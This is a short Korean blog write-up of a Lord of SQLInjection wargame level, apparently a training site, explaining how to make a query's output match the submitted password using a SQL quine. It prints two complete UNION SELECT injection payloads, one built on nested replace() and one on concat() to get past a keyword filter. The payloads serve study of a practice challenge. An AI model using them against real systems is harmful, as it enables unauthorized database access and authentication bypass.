반응형
문제
문제풀이
참이 조건을 넣었을 때 반환값이 없다. pw 컬럼이 아마 비어있는 것 같다.
union select를 이용해서 입력하면 출력이 된다.
이 때, pw파라미터에 전달한 값과 출력되는 값이 같아야 한다.
어떻게 출력해야 할지 감이 안와서 검색하니 quine 을 사용해야 한다고 한다.
quine은 자기 자신 소스코드를 출력하는 프로그램이다.
아래 페이로드를 작성하면 된다.
'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23
ace 문자열이 필터링되어 replace 함수를 사용하지 못한다.
아래 페이로드를 작성하면 된다.
' union select concat(a,char(34),a,char(34),'as a)as a#') from (select "' union select concat(a,char(34),a,char(34),'as a)as a#') from (select "as a)as a#
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] phantom (0) | 2023.11.04 |
---|---|
[LOS] frankenstein (0) | 2023.11.04 |
[LOS] blue_dragon (0) | 2023.11.03 |
[LOS] red_dragon (0) | 2023.01.28 |
[LOS] green_dragon (0) | 2023.01.28 |